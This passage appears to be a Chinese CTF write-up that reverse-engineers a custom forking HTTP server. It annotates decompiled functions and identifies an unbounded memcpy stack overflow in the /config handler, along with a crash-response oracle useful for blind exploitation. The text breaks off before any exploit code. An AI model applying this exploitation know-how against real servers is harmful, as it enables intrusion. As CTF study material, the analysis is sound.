httpd

不是很了解 http 服务以及这种 WEBPWN 的具体流程，逆向难度还是蛮大的，审计代码就用了不少时间：

EXP 难写也是因为用到了一堆非常规堆 PWN 的 python 写法，导致很难去进行漏洞利用

1779259354900-17d8c49f-9779-460e-b74d-a0952fe2bb38.png

程序分析：

main

是典型的 Linux C 多进程网络服务器 TCP Server 的主函数 main 反编译结果。它建立了一个监听在 9999 端口的 Web 服务器，并且每收到一个用户的 HTTP 请求，就会 fork 出一个子进程去处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
    int optval; // [rsp+Ch] [rbp-D4h] BYREF
    socklen_t addr_len; // [rsp+10h] [rbp-D0h] BYREF
    int fd; // [rsp+14h] [rbp-CCh]
    int v6; // [rsp+18h] [rbp-C8h]
    __pid_t v7; // [rsp+1Ch] [rbp-C4h]
    struct sockaddr addr; // [rsp+20h] [rbp-C0h] BYREF
    struct sockaddr v9; // [rsp+30h] [rbp-B0h] BYREF
    struct sigaction act; // [rsp+40h] [rbp-A0h] BYREF
    unsigned __int64 v11; // [rsp+D8h] [rbp-8h]

    v11 = __readfsqword(0x28u);
    optval = 1;
    fd = socket(2, 1, 0);
    if ( !fd )
    {
        perror("Socket failed");
        exit(1);
    }
    setsockopt(fd, 1, 2, &optval, 4u);
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = 0;
    *(_WORD *)addr.sa_data = htons(0x270Fu);      // 9999
    if ( bind(fd, &addr, 0x10u) < 0 )
    {
        perror("Bind failed");
        exit(1);
    }
    if ( listen(fd, 256) < 0 )
    {
        perror("Listen failed");
        exit(1);
    }
    act.sa_handler = (__sighandler_t)sub_40196E;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
    sigaction(11, &act, 0);
    sigaction(6, &act, 0);
    signal(17, (__sighandler_t)1);
    printf(format, 9999);
    sub_4019C2();
    while ( 1 )
    {
        while ( 1 )
        {
            addr_len = 16;
            v6 = accept(fd, &v9, &addr_len);
            if ( v6 >= 0 )
                break;
            if ( *__errno_location() != 4 )
                perror("accept failed");
        }
        v7 = fork();
        if ( v7 >= 0 )
        {
            if ( !v7 )
            {
                close(fd);
                ::fd = v6;
                sub_401A24((unsigned int)v6);
                close(v6);
                exit(0);
            }
            close(v6);
        }
        else
        {
            perror("fork failed");
            close(v6);
        }
    }
}
  • int fd 和 int v6：分别用来存放“监听 Socket”和“与客户端通信的 Socket”的文件描述符。
创建 Socket 与网络绑定 ：
1
2
fd = socket(2, 1, 0);
  if ( !fd ) { perror("Socket failed"); exit(1); }

调用 socket(AF_INET, SOCK_STREAM, 0) 创建一个 IPv4 的 TCP 通信套接字。

1
setsockopt(fd, 1, 2, &optval, 4u);

设置 Socket 选项。level=1 (SOL_SOCKET)，optname=2 (SO_REUSEADDR)。这允许服务器重启后立刻复用该端口，防止出现“Address already in use”的报错。

1
2
3
4
5
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
*(_WORD *)addr.sa_data = htons(0x270Fu);
if ( bind(fd, &addr, 0x10u) < 0 ) { perror("Bind failed"); exit(1); }
if ( listen(fd, 256) < 0 ) { perror("Listen failed"); exit(1); }
  • sa_family = 2：代表 AF_INET（IPv4 协议）。
  • sa_data[2] = 0：设置绑定的 IP 为 0.0.0.0（允许任何 IP 连接）。
  • htons(0x270Fu)：0x270F 转换为十进制正是 9999。设置监听端口为 9999。
  • bind 和 listen：将 socket 绑定到 9999 端口，并开启监听，最大半连接队列长度设为 256。
信号处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
act.sa_handler = (__sighandler_t)sub_40196E;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
sigaction(11, &act, 0);
sigaction(6, &act, 0);

void __noreturn sub_40196E()
{
  size_t v0; // rax

  v0 = strlen("HTTP/1.1 500 Internal Server Error\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
  write(fd, "HTTP/1.1 500 Internal Server Error\r\nContent-Length: 0\r\nConnection: close\r\n\r\n", v0);
  close(fd);
  _exit(1);
}
  • 程序配置了一个自定义的信号处理函数 sub_40196E。
  • sigaction(11, ...)：拦截信号 11 (SIGSEGV 段错误)。当你的栈溢出覆盖了非法的内存地址时触发。
  • sigaction(6, ...)：拦截信号 6 (SIGABRT 中止)。当 Canary 检查失败（栈被砸坏）时，系统默认会发出 SIGABRT 信号。
  • 当你的 Payload 覆盖错了 Canary 或栈地址导致程序崩溃时，程序会被 sub_40196E 函数接管。在这个函数内部，向客户端发送了 HTTP/1.1 500 Internal Server Error，可以通过这个进行盲注判断》》》
1
2
3
signal(17, (__sighandler_t)1);
printf(format, 9999);
sub_4019C2();
  • signal(17, 1)：信号 17 是 SIGCHLD，1 代表 SIG_IGN忽略。这是为了防止子进程死掉后变成僵尸进程。
  • 然后打印提示信息并调用初始化函数 sub_4019C2。
主循环：接收请求与 Fork 多进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while ( 1 )
{
    while ( 1 )
    {
        addr_len = 16;
        v6 = accept(fd, &v9, &addr_len);
        if ( v6 >= 0 ) break;
        if ( *__errno_location() != 4 ) perror("accept failed");
    }
    v7 = fork();
    if ( v7 >= 0 )
    {
        if ( !v7 ) // 子进程执行区域
        {
            close(fd);
            ::fd = v6;
            sub_401A24((unsigned int)v6);
            close(v6);
            exit(0);
        }
        // 父进程执行区域
        close(v6);
    }
  • v7 = fork()：fork() 会完整复制当前进程（父进程）的内存空间，创建一个一模一样的子进程。
  • 对于子进程（v7 == 0）：
  1. 关闭不需要的监听端口 fd。
  2. 将通信套接字赋给全局变量 ::fd。
  3. 调用 sub_401A24(v6)。猜测这是 处理 HTTP 协议、解析 /config 路由的函数
  4. 处理完后，关闭连接并 exit(0) 退出销毁。对于父进程（v7 > 0）：

仅仅关闭属于当前连接的套接字 v6，然后直接回到 while(1) 顶部的 accept，继续等待下一个用户。

sub_401A24

函数 sub_401A24 是这个自定义 Web 服务器的 HTTP 请求处理与路由分发中心。

结合上一部分 main 函数的逻辑，当父进程监听到新连接并 fork() 出子进程后，子进程立刻调用了这个函数。传递进来的参数 a1 就是与客户端通信的 Socket 文件描述符。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall sub_401A24(unsigned int a1)
{
    void *s; // [rsp+18h] [rbp-8h]

    s = malloc(0x2A78u);
    memset(s, 0, 0x2A78u);
    sub_401C58(a1, s);
    if ( !strcmp((const char *)s, "GET") )
        sub_40213B(a1, s);
    if ( !strcmp((const char *)s, "POST") )
        sub_40273E(a1, s);
    free(s);
}

这个函数首先申请了一块 0x2A78 大小的内存，将内存初始化为 0，这里的内存通常是存放一块结构体，用来存放接收到的 HTTP 原始报文，或者存放解析后的 HTTP 状态，具体内容可以往后分析：

  • sub_401C58(a1, s);这个函数暂且搁置，先分析完当前的函数
路由分发（GET vs POST）
1
2
3
4
if ( !strcmp((const char *)s, "GET") )
  sub_40213B(a1, s);
  if ( !strcmp((const char *)s, "POST") )
    sub_40273E(a1, s);
  • strcmp 会将缓冲区 s 开头的数据与字符串 "GET" 和 "POST" 进行比对。由于 s 是刚才接收和解析的结果，这说明 sub_401C58 巧妙地把解析出来的 HTTP 请求方法的字符串直接放在了缓冲区 s 的 0 偏移处。
  • 如果是 GET 请求：调用 sub_40213B。
  • 如果是 POST 请求：调用 sub_40273E
释放资源
1
free(s);
  • 请求处理完毕后，释放这块 0x2A78 大小的堆内存，防止内存泄漏。由于这是在子进程中执行，随后子进程就会 exit(0) 退出。

sub_401C58

函数 sub_401C58 是目标 Web 服务器的核心 HTTP 协议解析器。

在上一层函数中，程序分配了一块巨大的堆内存（指针为 a2），然后把通信的 Socket 文件描述符（a1）和这块内存传给了当前函数。这个函数的任务就是：从 Socket 中读取原始 HTTP 数据，解析出请求行、Header 头部和 Body 实体，并把它们分门别类地存入 a2 这个庞大的请求上下文结构体中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
unsigned __int64 __fastcall sub_401C58(int a1, __int64 a2)
{
    size_t v2; // rax
    char *haystack; // [rsp+10h] [rbp-1070h]
    char *nptr; // [rsp+18h] [rbp-1068h]
    char *v6; // [rsp+28h] [rbp-1058h]
    char *v7; // [rsp+30h] [rbp-1050h]
    char *v8; // [rsp+30h] [rbp-1050h]
    char *v9; // [rsp+40h] [rbp-1040h]
    const char *s; // [rsp+50h] [rbp-1030h]
    char *v11; // [rsp+58h] [rbp-1028h]
    char *v12; // [rsp+68h] [rbp-1018h]
    _QWORD buf[513]; // [rsp+70h] [rbp-1010h] BYREF
    unsigned __int64 v14; // [rsp+1078h] [rbp-8h]

    v14 = __readfsqword(0x28u);
    memset(buf, 0, 0x1000u);
    read(a1, buf, 0xFFFu);
    v6 = strstr((const char *)buf, "\r\n\r\n");
    v7 = strstr((const char *)buf, "\r\n");
    *v7 = 0;
    __isoc99_sscanf(buf, "%15s %255s %15s", a2, a2 + 16, a2 + 272);
    for ( haystack = v7 + 2; haystack < v6; haystack = v8 + 2 )
    {
        v8 = strstr(haystack, "\r\n");
        *v8 = 0;
        v9 = strchr(haystack, 58);
        if ( v9 )
        {
            *v9 = 0;
            for ( nptr = v9 + 1; *nptr == 32; ++nptr )
                ;
            if ( *(int *)(a2 + 288) <= 31 )
            {
                strncpy((char *)(320LL * *(int *)(a2 + 288) + 288 + a2 + 4), haystack, 0x3Fu);
                strncpy((char *)(320LL * *(int *)(a2 + 288) + 352 + a2 + 4), nptr, 0xFFu);
                ++*(_DWORD *)(a2 + 288);
            }
            if ( !strcmp(haystack, "Content-Length") )
                *(_QWORD *)(a2 + 10864) = atoi(nptr);
            if ( !strcmp(haystack, "Cookie") )
            {
                s = strstr(nptr, "token");
                if ( s )
                {
                    v11 = strchr(s, 61);
                    *v11 = 0;
                    v12 = strchr(v11 + 1, 59);
                    if ( v12 )
                        *v12 = 0;
                    strncpy((char *)(a2 + 10532), s, 0x3Fu);
                    strncpy((char *)(a2 + 10596), v11 + 1, 0xFFu);
                }
            }
        }
    }
    if ( !strcmp((const char *)a2, "POST") )
    {
        *(_QWORD *)(a2 + 10856) = malloc(*(_QWORD *)(a2 + 10864) + 3LL);
        v2 = malloc_usable_size(*(void **)(a2 + 10856));
        memset(*(void **)(a2 + 10856), 0, v2);
        memcpy(*(void **)(a2 + 10856), v6 + 4, *(_QWORD *)(a2 + 10864));
        memcpy((void *)(*(_QWORD *)(a2 + 10856) + *(_QWORD *)(a2 + 10864)), "\r\n", 2u);
    }
    return v14 - __readfsqword(0x28u);
}
接收原始 HTTP 报文
1
2
3
v14 = __readfsqword(0x28u);          // 压入 Stack Canary
memset(buf, 0, 0x1000u);
read(a1, buf, 0xFFFu);
  • 程序在栈上分配了一个 4KB 的缓冲区 buf（0x1000 字节）并清零。
  • 调用 read 从客户端 Socket 读取最多 0xFFF 字节的原始数据到栈上的 buf 中。这意味着，这个服务器单次能处理的 HTTP 请求最大只有 4KB。
解析 HTTP 请求行 (Request Line)
1
2
3
4
v6 = strstr((const char *)buf, "\r\n\r\n"); // 定位 Header 与 Body 的分界线
v7 = strstr((const char *)buf, "\r\n");     // 定位第一行的行尾
*v7 = 0;                                    // 将第一行的 \r\n 截断成 \x00
__isoc99_sscanf(buf, "%15s %255s %15s", a2, a2 + 16, a2 + 272);
  • 利用 strstr 找到 HTTP 请求头部的结束标志 \r\n\r\n，存入 v6。
  • 找到第一行结束的 \r\n，将其替换为 \x00，这样 buf 在这里就被截断成了只有第一行。
  • sscanf 是重点：它将类似于 POST /config HTTP/1.1 的第一行按照空格拆分，分别存入外部传进来的堆结构体 a2 中：
    • Method (POST) 存入 a2，偏移 0。
    • URI (/config) 存入 a2 + 16。
    • Protocol (HTTP/1.1) 存入 a2 + 272。
解析 HTTP 头部 (Headers)
1
2
3
4
5
6
for ( haystack = v7 + 2; haystack < v6; haystack = v8 + 2 )
{
    v8 = strstr(haystack, "\r\n"); // 找到当前 Header 行的结尾
    *v8 = 0;                       // 截断
    v9 = strchr(haystack, 58);     // 寻找冒号 ':'
    // ... 中间省略：去掉冒号后面的空格，将 Key 和 Value 存入 a2 结构体的数组中 ...

这里开始一个循环，逐行遍历剩下的 HTTP Header（直到遇到 v6，即空行）。 它通过寻找冒号 : 将 Header 分为 Key 和 Value，并最多保存 32 个 Header 键值对到 a2 结构体中。

特别关注的两个 Header：

1
2
if ( !strcmp(haystack, "Content-Length") )
          *(_QWORD *)(a2 + 10864) = atoi(nptr);
  • Content-Length：如果读到了内容长度，用 atoi 转换成整数，保存在结构体的 a2 + 10864 处。这决定了服务器认为你的 POST Body 有多长。
1
2
3
4
if ( !strcmp(haystack, "Cookie") )
      {
          s = strstr(nptr, "token");
          // ... 提取 token 的值并存入 a2 结构体 ...
  • Cookie：如果读到了 Cookie，并且里面有 token，就会把它提取出来。这就是为什么你的 EXP 在构建 HTTP 请求时，专门写了一句 'Cookie': 'token='，就是为了迎合这段解析逻辑，防止程序报错退出。
提取 POST 请求体 (Body)
1
2
3
4
5
6
7
8
if ( !strcmp((const char *)a2, "POST") )
{
    *(_QWORD *)(a2 + 10856) = malloc(*(_QWORD *)(a2 + 10864) + 3LL);
    v2 = malloc_usable_size(*(void **)(a2 + 10856));
    memset(*(void **)(a2 + 10856), 0, v2);
    memcpy(*(void **)(a2 + 10856), v6 + 4, *(_QWORD *)(a2 + 10864));
    memcpy((void *)(*(_QWORD *)(a2 + 10856) + *(_QWORD *)(a2 + 10864)), "\r\n", 2u);
}
  • 如果是 POST 请求，程序会在堆上重新 malloc 一块内存，大小是你声明的 Content-Length + 3。这块新内存的指针，被保存在了结构体的 a2 + 10856 处。
  • memcpy(..., v6 + 4, Content-Length)：v6 + 4 正是跳过 \r\n\r\n 后的请求体起始位置。程序将你发送的 POST Body，从栈上的临时缓冲区 buf，拷贝到了这块新申请的堆内存中。

GET：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
unsigned __int64 __fastcall GET(unsigned int a1, __int64 a2)
{
    char s1[8]; // [rsp+10h] [rbp-210h] BYREF
    __int64 v4; // [rsp+18h] [rbp-208h]
    __int64 v5; // [rsp+20h] [rbp-200h]
    __int64 v6; // [rsp+28h] [rbp-1F8h]
    __int64 v7; // [rsp+30h] [rbp-1F0h]
    __int64 v8; // [rsp+38h] [rbp-1E8h]
    __int64 v9; // [rsp+40h] [rbp-1E0h]
    __int64 v10; // [rsp+48h] [rbp-1D8h]
    __int64 v11; // [rsp+50h] [rbp-1D0h]
    __int64 v12; // [rsp+58h] [rbp-1C8h]
    __int64 v13; // [rsp+60h] [rbp-1C0h]
    __int64 v14; // [rsp+68h] [rbp-1B8h]
    __int64 v15; // [rsp+70h] [rbp-1B0h]
    __int64 v16; // [rsp+78h] [rbp-1A8h]
    __int64 v17; // [rsp+80h] [rbp-1A0h]
    __int64 v18; // [rsp+88h] [rbp-198h]
    __int64 v19; // [rsp+90h] [rbp-190h]
    __int64 v20; // [rsp+98h] [rbp-188h]
    __int64 v21; // [rsp+A0h] [rbp-180h]
    __int64 v22; // [rsp+A8h] [rbp-178h]
    __int64 v23; // [rsp+B0h] [rbp-170h]
    __int64 v24; // [rsp+B8h] [rbp-168h]
    __int64 v25; // [rsp+C0h] [rbp-160h]
    __int64 v26; // [rsp+C8h] [rbp-158h]
    __int64 v27; // [rsp+D0h] [rbp-150h]
    __int64 v28; // [rsp+D8h] [rbp-148h]
    __int64 v29; // [rsp+E0h] [rbp-140h]
    __int64 v30; // [rsp+E8h] [rbp-138h]
    __int64 v31; // [rsp+F0h] [rbp-130h]
    __int64 v32; // [rsp+F8h] [rbp-128h]
    __int64 v33; // [rsp+100h] [rbp-120h]
    __int64 v34; // [rsp+108h] [rbp-118h]
    char s[8]; // [rsp+110h] [rbp-110h] BYREF
    __int64 v36; // [rsp+118h] [rbp-108h]
    __int64 v37; // [rsp+120h] [rbp-100h]
    __int64 v38; // [rsp+128h] [rbp-F8h]
    __int64 v39; // [rsp+130h] [rbp-F0h]
    __int64 v40; // [rsp+138h] [rbp-E8h]
    __int64 v41; // [rsp+140h] [rbp-E0h]
    __int64 v42; // [rsp+148h] [rbp-D8h]
    __int64 v43; // [rsp+150h] [rbp-D0h]
    __int64 v44; // [rsp+158h] [rbp-C8h]
    __int64 v45; // [rsp+160h] [rbp-C0h]
    __int64 v46; // [rsp+168h] [rbp-B8h]
    __int64 v47; // [rsp+170h] [rbp-B0h]
    __int64 v48; // [rsp+178h] [rbp-A8h]
    __int64 v49; // [rsp+180h] [rbp-A0h]
    __int64 v50; // [rsp+188h] [rbp-98h]
    __int64 v51; // [rsp+190h] [rbp-90h]
    __int64 v52; // [rsp+198h] [rbp-88h]
    __int64 v53; // [rsp+1A0h] [rbp-80h]
    __int64 v54; // [rsp+1A8h] [rbp-78h]
    __int64 v55; // [rsp+1B0h] [rbp-70h]
    __int64 v56; // [rsp+1B8h] [rbp-68h]
    __int64 v57; // [rsp+1C0h] [rbp-60h]
    __int64 v58; // [rsp+1C8h] [rbp-58h]
    __int64 v59; // [rsp+1D0h] [rbp-50h]
    __int64 v60; // [rsp+1D8h] [rbp-48h]
    __int64 v61; // [rsp+1E0h] [rbp-40h]
    __int64 v62; // [rsp+1E8h] [rbp-38h]
    __int64 v63; // [rsp+1F0h] [rbp-30h]
    __int64 v64; // [rsp+1F8h] [rbp-28h]
    __int64 v65; // [rsp+200h] [rbp-20h]
    __int64 v66; // [rsp+208h] [rbp-18h]
    unsigned __int64 v67; // [rsp+218h] [rbp-8h]

    v67 = __readfsqword(0x28u);
    *(_QWORD *)s1 = 0;
    v4 = 0;
    v5 = 0;
    v6 = 0;
    v7 = 0;
    v8 = 0;
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    v15 = 0;
    v16 = 0;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    v24 = 0;
    v25 = 0;
    v26 = 0;
    v27 = 0;
    v28 = 0;
    v29 = 0;
    v30 = 0;
    v31 = 0;
    v32 = 0;
    v33 = 0;
    v34 = 0;
    sub_4031EE(a2 + 16, s1);
    if ( !strcmp(s1, "/index") || !strcmp(s1, "/") )
    {
        if ( (unsigned int)sub_402FAF(a2) )
        {
            sub_402BDB(a1, "index.html", 200);
            return v67 - __readfsqword(0x28u);
        }
        LABEL_19:
        sub_403105(a1, "/login", 0);
        return v67 - __readfsqword(0x28u);
    }
    if ( !strcmp(s1, "/login") )
    {
        if ( (unsigned int)sub_402FAF(a2) )
            sub_403105(a1, "/index", 0);
        else
            sub_402BDB(a1, "login.html", 200);
    }
    else
    {
        if ( !strcmp(s1, "/logout") )
        {
            *(_QWORD *)s = 0;
            v36 = 0;
            v37 = 0;
            v38 = 0;
            v39 = 0;
            v40 = 0;
            v41 = 0;
            v42 = 0;
            v43 = 0;
            v44 = 0;
            v45 = 0;
            v46 = 0;
            v47 = 0;
            v48 = 0;
            v49 = 0;
            v50 = 0;
            v51 = 0;
            v52 = 0;
            v53 = 0;
            v54 = 0;
            v55 = 0;
            v56 = 0;
            v57 = 0;
            v58 = 0;
            v59 = 0;
            v60 = 0;
            v61 = 0;
            v62 = 0;
            v63 = 0;
            v64 = 0;
            v65 = 0;
            v66 = 0;
            snprintf(s, 0x100u, "token=%s; Max-Age=0;", (const char *)(qword_4061F0 + 64));
            memset((void *)(qword_4061F0 + 64), 0, 0x40u);
            sub_403105(a1, "/login", s);
            return v67 - __readfsqword(0x28u);
        }
        if ( !strcmp(s1, "/resetPasswd") )
        {
            if ( (unsigned int)sub_402FAF(a2) )
            {
                sub_402BDB(a1, "reset_passwd.html", 200);
                return v67 - __readfsqword(0x28u);
            }
            goto LABEL_19;
        }
        if ( !strcmp(s1, "/config") )
        {
            if ( (unsigned int)sub_402FAF(a2) )
            {
                sub_402BDB(a1, "config.html", 200);
                return v67 - __readfsqword(0x28u);
            }
            goto LABEL_19;
        }
        if ( !strcmp(s1, "/getCookie") )
        {
            sub_402B86(qword_4061F0 + 64);
            snprintf(s, 0x100u, "token=%s;", (const char *)(qword_4061F0 + 64));
            sub_403105(a1, "/login", s);
        }
        else
        {
            sub_402BDB(a1, "404.html", 404);
        }
    }
    return v67 - __readfsqword(0x28u);
}

POST：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
unsigned __int64 __fastcall POST(unsigned int a1, __int64 a2)
{
    char s1[8]; // [rsp+50h] [rbp-110h] BYREF
    __int64 v4; // [rsp+58h] [rbp-108h]
    __int64 v5; // [rsp+60h] [rbp-100h]
    __int64 v6; // [rsp+68h] [rbp-F8h]
    __int64 v7; // [rsp+70h] [rbp-F0h]
    __int64 v8; // [rsp+78h] [rbp-E8h]
    __int64 v9; // [rsp+80h] [rbp-E0h]
    __int64 v10; // [rsp+88h] [rbp-D8h]
    __int64 v11; // [rsp+90h] [rbp-D0h]
    __int64 v12; // [rsp+98h] [rbp-C8h]
    __int64 v13; // [rsp+A0h] [rbp-C0h]
    __int64 v14; // [rsp+A8h] [rbp-B8h]
    __int64 v15; // [rsp+B0h] [rbp-B0h]
    __int64 v16; // [rsp+B8h] [rbp-A8h]
    __int64 v17; // [rsp+C0h] [rbp-A0h]
    __int64 v18; // [rsp+C8h] [rbp-98h]
    __int64 v19; // [rsp+D0h] [rbp-90h]
    __int64 v20; // [rsp+D8h] [rbp-88h]
    __int64 v21; // [rsp+E0h] [rbp-80h]
    __int64 v22; // [rsp+E8h] [rbp-78h]
    __int64 v23; // [rsp+F0h] [rbp-70h]
    __int64 v24; // [rsp+F8h] [rbp-68h]
    __int64 v25; // [rsp+100h] [rbp-60h]
    __int64 v26; // [rsp+108h] [rbp-58h]
    __int64 v27; // [rsp+110h] [rbp-50h]
    __int64 v28; // [rsp+118h] [rbp-48h]
    __int64 v29; // [rsp+120h] [rbp-40h]
    __int64 v30; // [rsp+128h] [rbp-38h]
    __int64 v31; // [rsp+130h] [rbp-30h]
    __int64 v32; // [rsp+138h] [rbp-28h]
    __int64 v33; // [rsp+140h] [rbp-20h]
    __int64 v34; // [rsp+148h] [rbp-18h]
    unsigned __int64 v35; // [rsp+158h] [rbp-8h]

    v35 = __readfsqword(0x28u);
    *(_QWORD *)s1 = 0;
    v4 = 0;
    v5 = 0;
    v6 = 0;
    v7 = 0;
    v8 = 0;
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    v15 = 0;
    v16 = 0;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    v24 = 0;
    v25 = 0;
    v26 = 0;
    v27 = 0;
    v28 = 0;
    v29 = 0;
    v30 = 0;
    v31 = 0;
    v32 = 0;
    v33 = 0;
    v34 = 0;
    sub_4031EE(a2 + 16, s1);
// ================= 路由分发开始 =================

    // 路由 1：处理表单登录
    if ( !strncmp(s1, "/login", 6u) )
    {
        // sub_403011 检查提交的账号密码，qword_4061F0 保存着全局配置或 Session
        if ( (unsigned int)sub_403011(a2, qword_4061F0) )
        {
            // 登录成功，向客户端返回 JSON {"authLogin" : 1}
            sub_402C9E(a1, 200, "application/json", "{\"authLogin\" : 1}");
            return v35 - __readfsqword(0x28u); // 检查 Canary 并返回
        }
        LABEL_16:
        // 权限校验失败或登录失败，返回 JSON {"authLogin" : 0}
        sub_402C9E(a1, 200, "application/json", "{\"authLogin\" : 0}");
        return v35 - __readfsqword(0x28u);
    }

    // 路由 2：处理密码重置
    if ( !strcmp(s1, "/resetPasswd") )
    {
        // [鉴权点] sub_402FAF 是检查 Cookie: token 的鉴权函数
        // 如果返回 0 (未授权)，直接跳到 LABEL_16 拒绝请求
        if ( !(unsigned int)sub_402FAF(a2) )
            goto LABEL_16;

        // 如果鉴权通过，调用 sub_403814 处理密码重置逻辑
        if ( (unsigned int)sub_403814(a2, qword_4061F0) )
            sub_402C9E(a1, 200, "application/json", "{\"reset\" : 1}");
        else
            sub_402C9E(a1, 200, "application/json", "{\"reset\" : 0}");
    }
    else
    {
        // 如果不是 /config，统统返回 404
        if ( strcmp(s1, "/config") )
        {
            sub_402BDB(a1, "404.html", 404);
            return v35 - __readfsqword(0x28u);
        }

        // 路由 3：处理网络配置提交 (/config)

        // 这个有缺陷的鉴权函数 sub_402FAF 只要看到 token 字段就返回 True (绕过鉴权)
        if ( !(unsigned int)sub_402FAF(a2) )
            goto LABEL_16;
/*
_BOOL8 __fastcall sub_402FAF(__int64 a1)
{
  return !strcmp((const char *)(a1 + 10532), "token")
      && !strcmp((const char *)(a1 + 10596), (const char *)(qword_4061F0 + 64));
}
*/

        // 鉴权绕过后，进入网络配置处理函数 sub_4035A0
        if ( (unsigned int)sub_4035A0(a2, qword_4061F0) )
            sub_402C9E(a1, 200, "application/json", "{\"setInfo\" : 1}");
        else
            sub_402C9E(a1, 200, "application/json", "{\"setInfo\" : 0}");
    }

    // 函数结束，进行 Stack Canary 安全检查
    return v35 - __readfsqword(0x28u);
}
sub_4035A0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall sub_4035A0(__int64 a1, _QWORD *a2)
{
    __int64 v3; // rbx
    __int64 v4; // rbx
    __int64 v5; // rbx
    __int64 v6; // rbx
    __int64 v7; // rbx
    __int64 v8; // rbx
    __int64 v9; // rbx
    __int64 v10; // rbx
    __int64 v11; // [rsp+10h] [rbp-B0h] BYREF
    __int64 v12; // [rsp+18h] [rbp-A8h]
    _QWORD dest[4]; // [rsp+20h] [rbp-A0h] BYREF
    _QWORD v14[4]; // [rsp+40h] [rbp-80h] BYREF
    _QWORD v15[4]; // [rsp+60h] [rbp-60h] BYREF
    _QWORD v16[7]; // [rsp+80h] [rbp-40h] BYREF

    v16[5] = __readfsqword(0x28u);
    v12 = sub_40347C(a1);
    if ( !(unsigned int)sub_4034DA("route_name", v12, &v11) )
        return 0;
    memcpy(dest, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));
    if ( !(unsigned int)sub_4034DA("ip", v12, &v11) )
        return 0;
    memcpy(v14, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));
    if ( !(unsigned int)sub_4034DA("subnet_mask", v12, &v11) )
        return 0;
    memcpy(v15, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));
    if ( !(unsigned int)sub_4034DA("gateway", v12, &v11) )
        return 0;
    memcpy(v16, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));
    v3 = dest[1];
    a2[16] = dest[0];
    a2[17] = v3;
    v4 = dest[3];
    a2[18] = dest[2];
    a2[19] = v4;
    v5 = v14[1];
    a2[20] = v14[0];
    a2[21] = v5;
    v6 = v14[3];
    a2[22] = v14[2];
    a2[23] = v6;
    v7 = v15[1];
    a2[24] = v15[0];
    a2[25] = v7;
    v8 = v15[3];
    a2[26] = v15[2];
    a2[27] = v8;
    v9 = v16[1];
    a2[28] = v16[0];
    a2[29] = v9;
    v10 = v16[3];
    a2[30] = v16[2];
    a2[31] = v10;
    return 1;
}
memcpy 造成的栈溢出：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    // 提取 route_name
    if ( !(unsigned int)sub_4034DA("route_name", v12, &v11) ) return 0;
    // memcpy 栈溢出长度*(_QWORD *)(v11 + 8200)完全取决于用户输入的字符串长度，没有做任何限制
    memcpy(dest, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));

    // 提取 ip
    if ( !(unsigned int)sub_4034DA("ip", v12, &v11) ) return 0;
    memcpy(v14, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));

    // 提取 subnet_mask
    if ( !(unsigned int)sub_4034DA("subnet_mask", v12, &v11) ) return 0;
    memcpy(v15, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));

    // 提取 gateway —— 你的 EXP 攻击的正是这个参数！
